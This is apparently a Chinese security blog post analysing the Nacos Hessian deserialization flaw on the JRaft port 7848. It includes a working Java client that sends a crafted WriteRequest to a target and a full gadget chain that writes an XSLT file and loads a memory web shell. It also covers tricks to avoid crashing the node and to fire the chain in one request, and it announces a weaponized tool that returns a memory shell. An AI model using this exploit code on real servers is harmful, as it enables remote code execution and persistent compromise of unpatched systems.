0x00 前言
5月25日 Nacos 发布一条安全公告,声称其在 2.2.3 和 1.4.6 两个大版本修复了 7848 端口下一处 Hessian 反序列化漏洞;网上有许多分析,但没有一篇分析能够把问题阐述清楚且解决掉,于是写下这篇文章,仅做记录。
0x01 漏洞分析
既然是 Hessian 反序列化,第一步要做的是查找对应的反序列化触发点,在项目中搜索 Hessian 可得到如下结果:
挨个查看后发现 HessianSerializer 是实际反序列化的触发点,但代码中不会直接调用它,而是通过 SerializeFactory 根据预期的反序列化漏洞(JSON、Hessian)获取实际的反序列化实现类,默认的反序列化实现为 HessianSerializer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public class SerializeFactory { public static final String HESSIAN_INDEX = "Hessian".toLowerCase(); private static final Map<String, Serializer> SERIALIZER_MAP = new HashMap<>(4); public static String defaultSerializer = HESSIAN_INDEX; static { Serializer serializer = new HessianSerializer(); SERIALIZER_MAP.put(HESSIAN_INDEX, serializer); for (Serializer item : NacosServiceLoader.load(Serializer.class)) { SERIALIZER_MAP.put(item.name().toLowerCase(), item); } } public static Serializer getDefault() { return SERIALIZER_MAP.get(defaultSerializer); } public static Serializer getSerializer(String type) { return SERIALIZER_MAP.get(type.toLowerCase()); } }
|
搜索发现代码中并没有调用 getSerializer(“Hessian”) 的操作,因此转而继续搜索 SerializeFactory.getDefault(),得到如下结果:
继续分析后发现 JRaftProtocol、JRaftServer 等都不是实际的触发点,它们并不会调用 serializer.deserialize 方法,实际调用的只有 PersistentClientOperationServiceImpl、ServiceMetadataProcessor、InstanceMetadataProcessor、DistributedDatabaseOperateImpl 四个类。
观察后发现这几个类有几个共同点,比如都继承了 RequestProcessor4CP,并且都实现了 onApply、onRequest、group 这三个方法,根据之前审代码的经验,基本可以确定 Nacos 是根据 group 方法对应的 groupId 决定请求是下发给哪个类进行处理。
接下来的过程很痛苦,大致就是知道漏洞在哪,但不知道怎么调过去,最后参考了网上诸多文章,终于写出了个客户端 Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import com.alibaba.nacos.consistency.entity.GetRequest; import com.alibaba.nacos.consistency.entity.WriteRequest; import com.alipay.sofa.jraft.option.CliOptions; import com.alipay.sofa.jraft.rpc.RpcClient; import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper; import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl; import com.alipay.sofa.jraft.util.Endpoint; import com.caucho.hessian.io.Hessian2Output; import com.google.protobuf.ByteString; import com.google.protobuf.Message;
import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.util.Map;
public class JRaftClient { public static void main(String[] args)throws Exception { final CliClientServiceImpl cliClientService = new CliClientServiceImpl(); cliClientService.init(new CliOptions()); setProperties(cliClientService.getRpcClient());
WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata").setData(serialize("hessian_payload_object")); Object o = cliClientService.getRpcClient().invokeSync(new Endpoint("172.16.0.8", 7848), writeRequestBuilder.build(), 10000); }
@SuppressWarnings("unchecked") public static void setProperties(RpcClient rpcClient) throws Exception { Field parserClasses = rpcClient.getClass().getDeclaredField("parserClasses"); parserClasses.setAccessible(true); Map<String, Message> map = (Map<String, Message>) parserClasses.get(rpcClient); map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance()); map.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance());
Field messages = MarshallerHelper.class.getDeclaredField("messages"); messages.setAccessible(true); Map<String, Message> messageMap = (Map<String, Message>) messages.get(MarshallerHelper.class); messageMap.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance()); messageMap.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance()); }
public static ByteString serialize(Object o) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(bos); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(o); out.close();
return ByteString.copyFrom(bos.toByteArray()); } }
|
其中 WriteRequest 那段的 setData 则是用来设置反序列化的 payload,最终触发 Hessian 反序列化:
0x02 漏洞利用
上面是完整的漏洞原理分析,接下来解决一些网上说的普遍存在的问题。
2.0 无损利用原理
网传这个漏洞最大的问题就是打一次就崩,那么到底是为什么打一次就崩呢?经过深入分析发现,Nacos 在反序列化时并没有使用异常处理,导致 Hessian 反序列化后的对象与预期的对象不符,此时产生对象转换异常。
产生异常后会将当前节点的状态设置为 STATE_ERROR,回溯历史调用栈发现 AbstractProcessor 会先获取 group 对应的 Node,并判断 Node 是否为 leaderNode,如果不是则返回错误,反之才会调用 execute 方法继续往下走。
如果某个 Node 在反序列化时产生异常,则其状态为 State.STATE_ERROR,不符合 isLeader 的逻辑,因此无法正常服务:
那么应该如何解决这个问题呢,观察反序列化的代码可以发现预期是希望返回 MetadataOperation 对象:
1
| MetadataOperation<ServiceMetadata> op = (MetadataOperation)this.serializer.deserialize(request.getData().toByteArray(), this.processType);
|
这个对象有一个属性 metadata 是泛型,也就是它是任意类型都可以,所以不难想到我们可以构造一个 MetadataOperation 对象,并在其 metadata 属性设置恶意对象,这样设置可以让反序列化后的对象符合预期,不会产生报错,此时 Node 不触发异常,后续即可正常服务。
2.1 更加通用的 gadget
网传使用的 gadget 一般是 JNDI、BCEL,因为 JNDI 需要出网,且 BCELClassLoader 在 8.x 的较高版本中不存在了,因此算不上是比较完美的利用。那么就没有完美的利用了吗?其实并不是,通过 BCEL + 写文件就可以实现一个比较通用的解法。
利用 SwingLazyValue 结合 com.sun.org.apache.xml.internal.security.utils.JavaUtils 和 com.sun.org.apache.xalan.internal.xslt.Process 可以写入本地文件后通过 XSLT 加载最终实现不出网的任意代码执行。
相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import sun.swing.SwingLazyValue;
import javax.swing.*; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Hashtable; import java.util.Random;
public class HessianPayload {
final static String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" + "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" + "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" + "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" + "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" + ">\n" + " <xsl:template match=\"/\">\n" + " <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" + " <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" + " <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" + " <xsl:value-of select=\"$rce\"/>\n" + " </xsl:template>\n" + " </xsl:stylesheet>";
public static String genClassName() { Random random = new Random(); int length = random.nextInt(10) + 1; StringBuilder sb = new StringBuilder(length); for (int i = 0; i < length; i++) { char c = (char) (random.nextInt('z' - 'a') + 'a'); sb.append(c); } return sb.toString(); }
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception { HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; }
public static Object genPayload(String payloadType) throws Exception { SwingLazyValue value = null; if (payloadType.equals("writeFile")) { ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(MemShell.class)); CtClass cc = cp.get(MemShell.class.getName()); cc.setName(genClassName()); byte[] bs = cc.toBytecode(); String base64Code = new sun.misc.BASE64Encoder().encode(bs).replaceAll("\n", ""); String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", cc.getName()); value = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/nacos_data_temp", xslt.getBytes()}); } else if (payloadType.equals("xslt")) { value = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///tmp/nacos_data_temp"}}); }
UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(value, value);
Hashtable<Object, Object> hashtable = new Hashtable<>(); hashtable.put(value, value);
return makeMap(uiDefaults, hashtable); } }
|
但这也产生了一个不算问题的问题,即我们需要打两次反序列化才能走完所有的流程。
2.2 一个 Hessian 反序列化技巧
2.1 中介绍的 XSLT 反序列加载本地文件正常情况下需要发两次包触发两次 Hessian 反序列才能实现代码执行,大哥教了我一个方法可以在一个请求内触发所有的 payload(不依赖于 gadget 本身):
原理是自己修改实现类的代码,把原类从 lib 中删除,自定义的增加几个 Object 类型的属性,在 Server 进行反序列化时也会将这几个属性一块反序列化了,这部分涉及到 Hessian 对字节数组的解析逻辑,不在这篇文章中分析了。
2.3 探明 “真正” 的漏洞影响范围
网上许多应急文章都有传 Nacos 1.x 也受影响,经过深入分析后发现这可能是一次误判;这里说的误判不代表 Nacos 在 1.x 不存在 Hessian 反序列化的隐患,只是说无法正常利用。
对 1.4.x 进行分析后发现,调用了 SerializeFactory.getDefault()#deserialize 方法的只有 DistributedDatabaseOperateImpl 这一个类,其它的都是利用 Jackson 实现的反序列化。
DistributedDatabaseOperateImpl 对应的 groupId 为 nacos_config,实测发现我们是无法通过 RPC 调到这个 groupId 对应的 onApply 方法的,因此自然也不存在 Hessian 反序列化漏洞的利用。
0x03 武器化
我基于上面漏洞利用的原理编写了一个漏洞利用工具,输入 ip、webPort、raftPort、groupId 即可返还给你一个内存马。
完整流程为:通过 web 获取 Nacos 版本并与受影响的版本进行匹配 -> 发起 RPC 请求触发反序列化 -> 遍历线程中马。
对于不存在漏洞的版本输出提示: